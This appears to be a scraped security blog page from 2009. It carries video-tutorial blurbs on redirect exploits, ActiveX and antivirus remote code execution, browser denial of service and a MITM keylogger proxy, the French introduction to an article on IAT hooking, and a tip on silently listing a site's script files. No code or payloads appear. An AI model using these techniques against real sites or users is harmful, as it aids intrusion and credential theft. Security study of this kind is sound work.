An Howto install JAR application using the MTP (media transfer protocol). The different library and program needed for this tutorial : mtp-tools mtpfs (MTP) gphotofs (PTP , PTP2,MTP) The debian repository is used on this tutorial. The Operating System used is Backtrack4. The MTP protocol library will be installed natively in the Ubuntu Lucid version. The device used is a nokia 6301 phone without sim card.

DLL Redirection Tutorial

Release date

Oct 24, 2009

Runtime

10:56

Video of the Craig’s Heffner technique that consist in redirecting an IE dll to user32.

Firefox 3.5.3 Reversing – Maxlenght Patch (unofficial) install

Release date
Oct 8, 2009
Runtime
07:49

Video of a special reversing technique , that consist in applying a patch in client side against the URL cache poisoning exploit, using XUL and free tools like backtrack, ark, kwrite,firebug.

Google redirect maker by Xylitol

Release date

Sep 23, 2009

Runtime

03:44

Video concerning the exploitation of a google redirect vulnerability discovered by Xylitol.

MITM Proxy – The hijacker 0.3 alpha update

Release date

Aug 20, 2009

Runtime

03:33

Video about the update of the tool called Thehijacker presented by me @ frhack conference. The tool is a MITM proxy, keylogger and sniffer(superglobals),  the update permit to add geolocalisation in the tool.

MITM Proxy – The hijacker 0.1 install

Release date

Aug 19, 2009

Runtime

04:42

Installation video of a mitm proxy hijacker , proof of concept presented @ frhack conference in 2009. Thehijacker is a tool written in php.

IE/Firefox remote Denial Of Service

Release date

Apr 19, 2009

Runtime

03:23

Proof of concept video concerning the exploitation of  buffer overruns, using eval, and differents obfuscation techniques in various browsers.

Netmeeting App ActiveX Remote command execution

Release date
Mar 11, 2009
Runtime
05:36

Another COMraider tutorial by T3sTM@N and p3Lo. Which explain that a launched program dll(COM server) can be intercepted on remote and manipulated.

Comodo antivirus executestr remote code execution

Release date
Mar 11, 2009
Runtime
08:08

Video of COM server dll ‘s fuzzing (COMraider) in comodo antivirus on a patched windows xp SP2.

Facebook Redirect Exploit video

Release date
Dec 30, 2008
Runtime
02:54

A video that demonstrate how to exploit redirect vulnerability in real world(the vulnerability has been corrected) on facebook the attack is of the same type for xss, html injection and frame injection. This video is only for informational purpose. (just for security researchers)

Avant de rentrer au cœur du sujet, j’ai initialement écrit cet article pour le ezine de la communauté de Zenk-Security. Malheureusement, celui-ci n’a pu être à ce jour concrétisé. De ce fait, en restant dans la logique du partage, j’ai accepté que cet article soit publié sur leur blog. Je ferais donc, dans ce post, une mise en bouche du sujet abordé, avant de vous fournir un lien vous menant vers le contenu et un autre vers une version pdf.

1. Introduction

A une époque lointaine et mystérieuse, lorsque je tâchais de comprendre le principe de l’IAT (Import Address Table), je me suis intéressé aux méthodes pour hooker, ou crocheter en terme bien français, certaines APIs. Il s’avérait que la méthode bien connue est de parser le fichier PE (Portable Executable) à la recherche de la section d’importation répertoriée dans le tableau DataDirectory. Cette section étant elle-même un tableau de structure IMAGE_DIRECTORY_ENTRY_IMPORT associée à chaque DLL importée.
Cette méthode largement employée m’a semblé trop commune et j’ai cherché un moyen pour modifier une entrée de l’IAT sans avoir besoin de réaliser tout ce travail de parsing.

La solution retenue, néanmoins non fonctionnelle sur tout les exécutables, est d’abuser d’un programme compilé par un compilateur dit naïf.

Dans un premier temps, je vous expliquerais donc ce qu’on entend par compilateur “naïf” et moins “naïf”. Puis pour conjuguer la compréhension à l’utile, je fournirais un exemple de programme qui permet de modifier une entrée de l’IAT lorsqu’un binaire est compilé avec un compilateur dit “naïf”. Finalement, j’irais encore plus loin avec l’utilisation de cette méthode pour hooker une API sans avoir besoin de modifier l’entrée dans la table d’importation.

Table des matières

1. Introduction
2. Explication sur un compilateur dit « naïf »
3. Explication sur compilateur moins « naïf »
4. Hooker une entrée de l’IAT d’un compilateur naïf sans parser le PE
5. Hooker une API sans modifier l’IAT pour un binaire généré avec un compilateur « naïf »
6. Conclusion
7. Références

Liens

La suite sur le blog de Zenk-Security

“Abusing Naive Compiler for IAT Hooking” en version PDF

Bonne lecture,
Homeostasie (Nicolas.D)

The plugin

Today ill talk about the downloadhelper firefox plugin, this useful plugin that permit to download / convert files on the fly directly from different streamed content and website.

Add it to your firefox

The tips

This tips concern the possibilities of real time fast reversing differents files , this technique can be used to detect and download the filetypes directly on a browsed server , by adding a filter we can for example show the javascript files used while you visit a webpage :

Right Click on the plugin icon -> go to preferences

And add your custom filter

Once the settings configured you are ready for fast reversing filetypes.

Why for :

-Don’t loosing time to read a big generated source in order to find only one extension.

-Fetching a filename of one or multiples files with simultaneaously the same extension, with .php as added filter, if the targeted website use  a rewrite mod (a php filename found can lead to other vulnerabilities, ie : uncorrect chmod)

-It’s silent : somewhere you browse , everywhere you analyse from a user generated-source code point of view.

- Finding javascript security, and malwares rapidly on social networks while plenty of files with the same extension are loaded at the same time.

Bonus : A bird example !

phoenix bundle